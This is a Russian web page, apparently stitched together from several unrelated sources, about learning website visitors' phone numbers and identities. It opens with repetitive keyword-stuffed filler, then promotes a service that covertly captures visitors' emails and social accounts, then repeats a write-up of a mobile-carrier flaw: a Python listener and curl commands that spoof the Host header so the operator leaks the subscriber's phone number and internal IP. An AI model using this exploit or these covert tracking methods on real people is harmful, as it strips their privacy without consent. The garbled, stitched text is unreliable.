Определитель номера телефона на сайте

Сталкивались ли Вы с таким, что в поисках чего-либо в интернете Вам вдруг неожиданно звонит менеджер одного из сайтов и озвучивает выгодное предложение? Вау! а как они узнали мой телефон?! Я не оставлял заявку. Интернет уже давно не анонимен. До этого момента такие функции были доступны, пожалуй, только интернет провайдерам, крупному бизнесу, банкам, социальным сетям и силовым структурам. Но теперь даже самый обычный человек может связаться с Вами в любое время суток. Все что необходимо для этого – номер телефона, который, к тому же, можно указать в своем профиле на каком-нибудь сайте. Это не новость, это реальность. Теперь, чтобы связаться с человеком, достаточно просто знать его телефон. И не важно, где он сейчас находится. Человек может быть за тысячи километров от Вас. А Вы можете быть на другом конце планеты. Но, как говорится, «звоночек» не заставит себя долго ждать. Идентификация посетителя сайта по его номеру. Какие сервисы собирают информацию о пользователях. Как отслеживать посетителей сайта по номеру телефона. Получение информации о клиентах сайта. Какой сервис позволяет отследить посетителя пришедшего на сайт по номеру мобильного телефона. Программный комплекс для определения посетителя сайта. Просмотр посетителей сайта и их номеров телефонов. Кто посещал сайт из посетителей. Как посмотреть кто был на сайте до тебя. Как найти человека по номеру его телефона. Что такое идентификаторы посетителей сайтов и как их можно отследить. Как отслеживать клиентов по номеру мобильного телефона. Определение клиентов сайта по их номеру. Как собирать информацию о посетителях сайтов. Как определить посетителя по номеру и получить его данные. Как узнать, что посетитель зашел на сайт через сервис «Яндекс.Метрика». Как отследить посетителей по телефону. Определение номеров, с которых заходили на сайт. Как найти номер телефона по IP-адресу.

Как отслеживать посетителей сайта по номеру телефона. Получение информации о клиентах сайта. Определение номера телефона, с которого был совершен звонок. Существует множество сервисов с помощью которых можно отследить посетителей сайта или определить номер телефона, который был использован для входа на сайт. Давайте рассмотрим несколько наиболее популярных и эффективных из них:

И вот тут-то, если вы не будете знать, кто эти люди, то вы можете упустить из виду очень важный момент. Ведь они могут быть потенциальными клиентами.

В современном мире, когда все больше и больше людей становятся зависимыми от интернета, сложно представить себе человека, который не пользуется сетью. На сегодняшний день, практически каждый имеет свой собственный аккаунт в социальных сетях, для того чтобы общаться с друзьями, узнавать полезную информацию, делиться фотографиями и многое другое.

В настоящее время существует множество сервисов для сбора информации о посетителях сайта. Некоторые из них, например, Яндекс Метрика, позволяют отслеживать посетителей, узнавать их ID, а также получать информацию об их действиях на сайте. Определение контактов посетителей сайта. Узнать номер телефона посетителя сайта. Захват пользователей на сайте. Узнать номер телефона кто заходил на сайт. Идентификация посетителей сайтов сервисы. Но, как правило, данные, которые можно получить таким образом, носят достаточно общий характер и не дают возможности идентифицировать посетителя сайта и по возможности узнать его телефон и другие данные.

Но это не значит что на этих сайтах можно узнать номер мобильного телефона пользователя. Дело в том, что эти сервисы работают только с доменами, а не с IP адресами. Но узнать телефонный номер с которого звонят или с которого отправляют смс, можно. Узнать номера телефонов посетителей вашего сайта, которые заходили к вам на сайт (в том числе и тех, кто был зарегистрирован на этом сайте) можно с помощью сервиса.

21 Марта 2016


15 123



В избр.
Сохранено

Определение контактов посетителей сайта без кликджекинга

Тема определения email, телефонов, профилей соц.сетей пользователей, которые были у вас на сайте, оказалась очень востребованной, особенно у крупных компаний. А когда функция получила широкую огласку, Яндекс ввел санкции за её использование. Как быть дальше?

В конце прошлого года, от Яндекса не ускользнула резкая популярность интернет-сервиса по определению контактных данных пользователей сайтов, правда трактовал работу он в более темных тонах и не по тому назначению, в котором мы использовали кликджекинг.

И постановил: » Мы убеждены, что подобные методы обмана пользователей не соответствуют их интересам, поэтому сайты, использующие кликджекинг, могут ранжироваться ниже.»

Реально работать понижение начало с конца февраля этого года, естественно владельцам сайта это не понравилось. И, несмотря, что санкции только одной поисковой системы, но это Яндекс, и в рунете приходится с ним считаться тоже.

Поэтому нами было принято решение, разработать скрипт определения без использования кликджекинга и спустя месяц мы это сделали.

Теперь пользователи не надо кликать для его идентификации, достаточно просто зайти на сайт с установленным кодом системы и мы узнаем его email. А далее по нему и все зарегистрированные на нем аккаунты соц. сетей.

Такой метод позволяет избежать санкций Яндекса за кликджекинг, правда процент идетификаций при нем, немного ниже, чем ранее. Зато безопасно и позволяет и дальше собирать клиентские базы.

Куки исключены, браузер не сохраняет их и не хранит историю.

1. Про evercookie слышали? А про Web Fingerprint?
На хакере перечислена масса способов хранить ID на вашем компе без использования Куков и кэша, а технология Web Fingerprint позволяет хранить цифровой отпечаток компа, браузера на сервере банка: Фингерпринтинг конкретного ПК с точностью 99,24%, не спасает даже смена браузера.

Если вы — клиент банка и заходили в его интернет-банкинг, он легко может вас опознать при использовании того же браузера и того же компа.
А если у вас на мобиле установлено приложение интернет-банкинга — вы вообще под колпаком :)

2. Если вы лазите по инету залогиненым в Вконтакте/Яндексе, то через backdoors в их API можно определить ваш профиль и все ваши данные.
Сайт Соцфишинг работает на этом принципе.
Сам банк тоже может использовать соцфишинг и ставить невидимый ифрейм на своё меню, и при клике вы автоматически авторизуетесь через аккаунт, например, Вконтакте. Зная ваш ID на Вконтакте, ваш телефон легко узнаётся, их базы регулярно сливаются и продаются

PS: Узнать как конкретно вас «слил» и каким образом — невозможно без исследования конкретной ситуации.

факультатив

Всё вышеперечисленное — детский лепет по сравнению с тем, какие возможности имеет Google (и, частично, Яндекс с Apple).
У всех дома стоит точка WiFi, к которой коннектится ваш комп и мобильник с Андроид. Через мобильник Гугл знает все номера телефонов, которые подключаются к этой точке доступа (и все аккаунты соцсетей в которые вы логинились с мобильника). Поэтому когда вы лезете Хромом с компа через эту же точку доступа — Гугль уже знает, что это вы (или один из ваших домочадцев). По GPS на мобильнике он знает даже адрес вашего проживания с точностью до подъезда.
Так что мы все давно уже добровольно «чипованы», чего удивляться что о нас всё известно.

Система глубокого анализа трафика настроена так, что добавляет служебные HTTP-заголовки при выполнении HTTP-запроса на сайты (хосты) из списка, определяемого оператором. В заголовках может содержаться внутренний IP-адрес абонента, номер телефона (MSISDN), IMEI и IMSI-идентификаторы, идентификатор базовой станции (вышки), к которой подключен абонент (ECI/TAC).

Нам потребуется установить на сервер в интернете простой HTTP-сервер, который будет принимать запрос, показывать его на экране, и отправлять HTTP-ответ. Что-то вроде этого:

#!/usr/bin/env python3
import socketserver

class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        while True:
            r = self.request.recv(8192)
            if b"rnrn" in r or b"nn" in r:
                break
            if not r:
                return
        print("-----rn" + r.decode() + "-----")
        self.request.sendall(b"HTTP/1.1 200 OKrnContent-Length: 2rnrn")
        self.request.sendall(b"OK")
        return

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 80
    socketserver.ForkingTCPServer.allow_reuse_address = True
    server = socketserver.ForkingTCPServer((HOST, PORT), MyTCPHandler)
    server.allow_reuse_address = True
    server.serve_forever()

Отправим HTTP-запрос, используя SIM-карту Мегафон:

$ curl myserver.com
OK

На сервер пришло:

GET / HTTP/1.1
Host: myserver.com
User-Agent: curl/7.51.0
Accept: */*

Ничего необычного. Изменим заголовок Host на какой-нибудь внутренний домен оператора, например, на основной сайт megafon.ru:

$ curl myserver.com -H "Host: megafon.ru"

На сервере:

GET / HTTP/1.1
Host: megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-Real-IP: 100.114.20.123
X-NOKIA-MSISDN: 79319350195

На сервер пришли не только HTTP-заголовки, отправленные curl, но и дополнительные заголовки X-Real-IP и X-NOKIA-MSISDN, содержащие внутренний IP-адрес (за Carrier-grade NAT) и номер телефона!

Почему так получилось? По всей видимости, при составлении списка забыли привязать конкретные домены к конкретным IP-адресам или диапазонам, и проверка открытия сайта из листа выполняется только сравнением HTTP-заголовка Host.

Источник(там намного больше тонкостей, например, перечень внутренних доменов): https://habrahabr.ru/post/345852/

P.S.: не стоит забывать, что это именно уязвимость, то есть это ошибка в системах мобильных операторов, вполне возможно, что скоро эту дырку закроют.

P.S.P.S.: мтс данную уязвимость исправил.

Понравилась статья? Поделить с друзьями:
  • Оператор уфанет номер телефона уфа
  • Определитель номера телефона на домашнем телефоне ростелеком
  • Опознание номеров телефонов
  • Оператор уфанет номер телефона нефтекамск
  • Определитель номера телефона мтс скачать бесплатно